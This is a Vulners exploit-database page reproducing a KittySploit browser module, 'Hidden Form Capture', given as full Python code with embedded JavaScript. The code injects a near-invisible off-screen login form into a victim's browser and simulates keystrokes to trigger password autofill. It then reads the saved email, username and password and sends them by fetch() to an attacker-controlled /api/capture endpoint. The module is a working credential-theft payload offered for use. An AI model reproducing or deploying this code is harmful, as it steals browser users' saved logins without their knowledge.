Lucene search
+L

Hidden Form Capture

🗓️ 24 Jan 2026 22:19:45Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

KittySploit Hidden Form Capture creates a form to capture saved credentials via autofill.

Refs
Code
from kittysploit import *

class Module(BrowserAuxiliary):

	__info__ = {
		"name": "Hidden Form Capture",
		"description": "Create a hidden form to trigger browser autofill and capture saved credentials (email/username/password)",
		"author": "KittySploit Team",
		"browser": Browser.ALL,
		"platform": Platform.ALL,
		"session_type": SessionType.BROWSER,
	}	
	
	form_size = OptString("tiny", "Form size: 'tiny' (1x1px), 'small' (minimal visible), 'normal' (small but visible)", False)
	wait_time = OptInteger(3, "Time to wait for autofill to trigger (seconds)", False)
	server_url = OptString("", "Server URL to send captured data (empty = auto-detect from browser server)", False)

	def run(self):
		"""Create form to trigger autofill and capture saved credentials"""
		
		# Get current page URL
		current_url = self.send_js_and_wait_for_response("window.location.href", timeout=3.0)
		if not current_url:
			current_url = "about:blank"
		
		# Determine server URL for sending captured data
		if self.server_url:
			server_url = self.server_url
		else:
			# Try to detect from browser server if available
			if hasattr(self, 'browser_server') and self.browser_server:
				server_host = self.browser_server.host if hasattr(self.browser_server, 'host') else '127.0.0.1'
				server_port = self.browser_server.port if hasattr(self.browser_server, 'port') else 8080
				# Replace 0.0.0.0 with 127.0.0.1 for HTTP requests
				if server_host == '0.0.0.0':
					server_host = '127.0.0.1'
				server_url = f"http://{server_host}:{server_port}"
			else:
				# Extract from current URL or use default
				try:
					from urllib.parse import urlparse
					parsed = urlparse(current_url)
					if parsed.hostname:
						# Replace 0.0.0.0 with 127.0.0.1
						hostname = parsed.hostname
						if hostname == '0.0.0.0':
							hostname = '127.0.0.1'
						port = parsed.port or (443 if parsed.scheme == 'https' else 80)
						server_url = f"{parsed.scheme}://{hostname}:{port}"
					else:
						server_url = "http://127.0.0.1:8080"
				except:
					server_url = "http://127.0.0.1:8080"
		
		# Determine form size styles
		if self.form_size == "tiny":
			form_style = "position:absolute; left:-9999px; top:-9999px; width:1px; height:1px; overflow:hidden; opacity:0.01;"
			field_style = "width:1px; height:1px; padding:0; margin:0; border:0; font-size:1px;"
		elif self.form_size == "small":
			form_style = "position:absolute; left:10px; top:10px; width:2px; height:2px; opacity:0.01; z-index:999999;"
			field_style = "width:2px; height:2px; padding:0; margin:0; border:0; font-size:1px;"
		else:  # normal
			form_style = "position:absolute; left:10px; top:10px; width:200px; height:60px; opacity:0.1; z-index:999999; background:rgba(255,255,255,0.1);"
			field_style = "width:180px; height:20px; padding:2px; margin:2px; border:1px solid rgba(0,0,0,0.1); font-size:12px;"
		
		js_code = f"""
		(function() {{
			// Remove existing form if present
			const existingForm = document.getElementById('ksAutofillForm');
			if (existingForm) {{
				existingForm.remove();
			}}
			
			// Create form container
			const formContainer = document.createElement('div');
			formContainer.id = 'ksAutofillForm';
			formContainer.style.cssText = '{form_style}';
			
			// Create form with proper attributes to trigger autofill
			const autofillForm = document.createElement('form');
			autofillForm.id = 'ksAutofillFormElement';
			autofillForm.method = 'POST';
			autofillForm.action = window.location.href;
			autofillForm.autocomplete = 'on';
			
			// Create email field (triggers autofill for email)
			const emailField = document.createElement('input');
			emailField.type = 'email';
			emailField.name = 'email';
			emailField.id = 'ksAutofillEmail';
			emailField.autocomplete = 'email';
			emailField.placeholder = 'Email';
			emailField.style.cssText = '{field_style}';
			autofillForm.appendChild(emailField);
			
			// Create username field (alternative to email)
			const usernameField = document.createElement('input');
			usernameField.type = 'text';
			usernameField.name = 'username';
			usernameField.id = 'ksAutofillUsername';
			usernameField.autocomplete = 'username';
			usernameField.placeholder = 'Username';
			usernameField.style.cssText = '{field_style}';
			autofillForm.appendChild(usernameField);
			
			// Create password field (triggers autofill for password)
			const passwordField = document.createElement('input');
			passwordField.type = 'password';
			passwordField.name = 'password';
			passwordField.id = 'ksAutofillPassword';
			passwordField.autocomplete = 'current-password';
			passwordField.placeholder = 'Password';
			passwordField.style.cssText = '{field_style}';
			autofillForm.appendChild(passwordField);
			
			// Create submit button (helps trigger autofill)
			const submitButton = document.createElement('button');
			submitButton.type = 'submit';
			submitButton.id = 'ksAutofillSubmit';
			submitButton.style.cssText = '{field_style}';
			submitButton.textContent = 'Login';
			autofillForm.appendChild(submitButton);
			
			formContainer.appendChild(autofillForm);
			document.body.appendChild(formContainer);
			
			// Store captured data
			window.ksAutofillData = window.ksAutofillData || {{ captured: false, data: null }};
			
			// Function to send captured data to server
			function sendCapturedData(data) {{
				const payload = {{
					timestamp: new Date().toISOString(),
					url: window.location.href,
					title: document.title,
					source: 'autofill',
					data: data
				}};
				
				// Try to send via fetch
				fetch('{server_url}/api/capture', {{
					method: 'POST',
					headers: {{
						'Content-Type': 'application/json'
					}},
					body: JSON.stringify(payload)
				}}).then(response => {{
					console.log('[Autofill Capture] Data sent to server:', response.status);
				}}).catch(error => {{
					console.warn('[Autofill Capture] Failed to send data:', error);
					// Store locally as fallback
					window.ksAutofillData.data = payload;
				}});
			}}
			
			// Function to extract form data
			function extractFormData() {{
				const formData = {{
					email: emailField.value || '',
					username: usernameField.value || '',
					password: passwordField.value || ''
				}};
				return formData;
			}}
			
			// Function to check and capture autofill data
			function checkAutofill() {{
				const formData = extractFormData();
				const hasData = formData.email || formData.username || formData.password;
				
				if (hasData && !window.ksAutofillData.captured) {{
					window.ksAutofillData.captured = true;
					window.ksAutofillData.data = formData;
					
					console.log('[Autofill Capture] ✅ Autofill detected!');
					console.log('[Autofill Capture] Email:', formData.email || '(empty)');
					console.log('[Autofill Capture] Username:', formData.username || '(empty)');
					console.log('[Autofill Capture] Password:', formData.password ? '*'.repeat(formData.password.length) : '(empty)');
					
					// Send to server
					sendCapturedData(formData);
				}}
			}}
			
			// Monitor input events to detect autofill
			emailField.addEventListener('input', checkAutofill);
			usernameField.addEventListener('input', checkAutofill);
			passwordField.addEventListener('input', checkAutofill);
			
			// Monitor autofill events (some browsers fire these)
			emailField.addEventListener('change', checkAutofill);
			usernameField.addEventListener('change', checkAutofill);
			passwordField.addEventListener('change', checkAutofill);
			
			// Function to simulate typing a character (triggers autofill suggestions)
			function simulateTyping(field, char) {{
				// Ensure field is focused and clicked (more realistic)
				field.focus();
				
				// Simulate mouse click first (helps trigger autofill)
				const clickEvent = new MouseEvent('click', {{
					bubbles: true,
					cancelable: true,
					view: window,
					composed: true
				}});
				field.dispatchEvent(clickEvent);
				
				// Small delay to let browser process click
				setTimeout(() => {{
					// Clear field first
					field.value = '';
					
					// Method 1: Use execCommand first (most reliable for autofill)
					try {{
						field.focus();
						document.execCommand('selectAll', false, null);
						document.execCommand('insertText', false, char);
					}} catch(e) {{
						// If execCommand fails, use events
						
						// Create and dispatch events in the correct order (like real typing)
						const keydownEvent = new KeyboardEvent('keydown', {{
							key: char,
							code: 'Key' + char.toUpperCase(),
							keyCode: char.toUpperCase().charCodeAt(0),
							which: char.toUpperCase().charCodeAt(0),
							bubbles: true,
							cancelable: true,
							composed: true,
							isTrusted: false  // We can't set isTrusted, but try anyway
						}});
						
						const keypressEvent = new KeyboardEvent('keypress', {{
							key: char,
							code: 'Key' + char.toUpperCase(),
							keyCode: char.charCodeAt(0),
							which: char.charCodeAt(0),
							bubbles: true,
							cancelable: true,
							composed: true
						}});
						
						// Dispatch keydown first
						field.dispatchEvent(keydownEvent);
						
						// Dispatch keypress
						field.dispatchEvent(keypressEvent);
						
						// Update value
						field.value = char;
						
						// Create input event with proper properties
						const inputEvent = new InputEvent('input', {{
							inputType: 'insertText',
							data: char,
							bubbles: true,
							cancelable: true,
							composed: true
						}});
						
						// Dispatch input event
						field.dispatchEvent(inputEvent);
						
						// Also try beforeinput event (some browsers use this)
						const beforeInputEvent = new InputEvent('beforeinput', {{
							inputType: 'insertText',
							data: char,
							bubbles: true,
							cancelable: true,
							composed: true
						}});
						field.dispatchEvent(beforeInputEvent);
					}}
					
					// Set selection to end (like real typing) - only if supported
					setTimeout(() => {{
						try {{
							// setSelectionRange doesn't work on email/password fields in some browsers
							if (field.type !== 'email' && field.type !== 'password') {{
								field.setSelectionRange(field.value.length, field.value.length);
							}}
						}} catch(e) {{
							// Ignore selection errors
						}}
						// Trigger change event
						field.dispatchEvent(new Event('change', {{ bubbles: true, composed: true }}));
						// Check immediately after typing
						checkAutofill();
					}}, 50);
				}}, 50);
			}}
			
			// Function to trigger autofill with multiple techniques
			function triggerAutofill() {{
				// Technique 1: Focus and type common characters (most effective)
				emailField.focus();
				// Small delay to ensure focus is set
				setTimeout(() => {{
					// Clear field first
					emailField.value = '';
					// Type character to trigger autofill suggestions
					simulateTyping(emailField, 'p');
					
					// Wait a bit and try selecting from dropdown if it appears
					setTimeout(() => {{
						// Try to select first suggestion with ArrowDown + Enter
						const arrowDown = new KeyboardEvent('keydown', {{
							key: 'ArrowDown',
							code: 'ArrowDown',
							keyCode: 40,
							which: 40,
							bubbles: true,
							cancelable: true,
							composed: true
						}});
						emailField.dispatchEvent(arrowDown);
						
						setTimeout(() => {{
							const enter = new KeyboardEvent('keydown', {{
								key: 'Enter',
								code: 'Enter',
								keyCode: 13,
								which: 13,
								bubbles: true,
								cancelable: true,
								composed: true
							}});
							emailField.dispatchEvent(enter);
							setTimeout(checkAutofill, 200);
						}}, 300);
					}}, 500);
					
					setTimeout(() => {{
						// Try username field
						usernameField.focus();
						setTimeout(() => {{
							usernameField.value = '';
							simulateTyping(usernameField, 'a');
						}}, 100);
					}}, 1000);
					
					setTimeout(() => {{
						// Try password field (focus triggers autofill)
						passwordField.focus();
						setTimeout(checkAutofill, 200);
					}}, 1500);
				}}, 200);
				
				// Technique 2: Try Arrow Down to select first suggestion
				setTimeout(() => {{
					emailField.focus();
					const arrowDownEvent = new KeyboardEvent('keydown', {{
						key: 'ArrowDown',
						code: 'ArrowDown',
						keyCode: 40,
						which: 40,
						bubbles: true,
						cancelable: true
					}});
					emailField.dispatchEvent(arrowDownEvent);
					setTimeout(() => {{
						const enterEvent = new KeyboardEvent('keydown', {{
							key: 'Enter',
							code: 'Enter',
							keyCode: 13,
							which: 13,
							bubbles: true,
							cancelable: true
						}});
						emailField.dispatchEvent(enterEvent);
						setTimeout(checkAutofill, 100);
					}}, 100);
				}}, 800);
				
				// Technique 3: Try Tab key to move between fields (triggers autofill)
				setTimeout(() => {{
					emailField.focus();
					const tabEvent = new KeyboardEvent('keydown', {{
						key: 'Tab',
						code: 'Tab',
						keyCode: 9,
						which: 9,
						bubbles: true,
						cancelable: true
					}});
					emailField.dispatchEvent(tabEvent);
					setTimeout(() => {{
						usernameField.dispatchEvent(tabEvent);
						setTimeout(() => {{
							passwordField.dispatchEvent(tabEvent);
							setTimeout(checkAutofill, 100);
						}}, 100);
					}}, 100);
				}}, 1200);
			}}
			
			// Start triggering autofill immediately
			setTimeout(triggerAutofill, 100);
			
			// Periodic check for autofill (more frequent for better performance)
			let checkCount = 0;
			const maxChecks = {self.wait_time * 4}; // Check every 250ms for faster detection
			const checkInterval = setInterval(() => {{
				checkAutofill();
				checkCount++;
				if (checkCount >= maxChecks || window.ksAutofillData.captured) {{
					clearInterval(checkInterval);
					if (!window.ksAutofillData.captured) {{
						console.log('[Autofill Capture] No autofill detected after', {self.wait_time}, 'seconds');
					}}
				}}
			}}, 250);
			
			// Prevent form submission
			autofillForm.addEventListener('submit', function(e) {{
				e.preventDefault();
				checkAutofill();
				return false;
			}});
			
			console.log('[Autofill Capture] Form created to trigger autofill');
			console.log('[Autofill Capture] Waiting for autofill to trigger...');
			console.log('[Autofill Capture] Server URL:', '{server_url}');
			
			// Return form element reference
			return 'Autofill capture form created successfully';
		}})();
		"""
		
		# Inject the autofill capture code
		result = self.send_js(js_code)
		
		if result:
			print_success("Autofill capture form created!")
			print_info(f"Form size: {self.form_size}")
			print_info(f"Waiting time: {self.wait_time} seconds")
			print_info(f"Server URL: {server_url}/api/capture")
			
			# Wait for autofill to trigger
			import time
			print_status(f"Waiting {self.wait_time} seconds for autofill to trigger...")
			time.sleep(self.wait_time)
			
			# Check if data was captured
			check_js = """
			(function() {
				if (window.ksAutofillData && window.ksAutofillData.captured && window.ksAutofillData.data) {
					return JSON.stringify(window.ksAutofillData.data);
				}
				return null;
			})();
			"""
			
			captured_data_json = self.send_js_and_wait_for_response(check_js, timeout=3.0)
			
			if captured_data_json and captured_data_json != 'null':
				try:
					import json
					captured_data = json.loads(captured_data_json)
					print_success("Autofill data captured!")
					print_info("=" * 60)
					if captured_data.get('email'):
						print_success(f"  Email: {captured_data.get('email')}")
					if captured_data.get('username'):
						print_success(f"  Username: {captured_data.get('username')}")
					if captured_data.get('password'):
						print_success(f"  Password: {'*' * len(captured_data.get('password', ''))}")
					print_info("=" * 60)
				except:
					print_warning("Could not parse captured data")
			else:
				print_error("No autofill data detected")
			
			return result
		else:
			print_error("Failed to inject autofill capture code")
			return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jan 2026 22:19Current
5.8Medium risk
Vulners AI Score5.8
0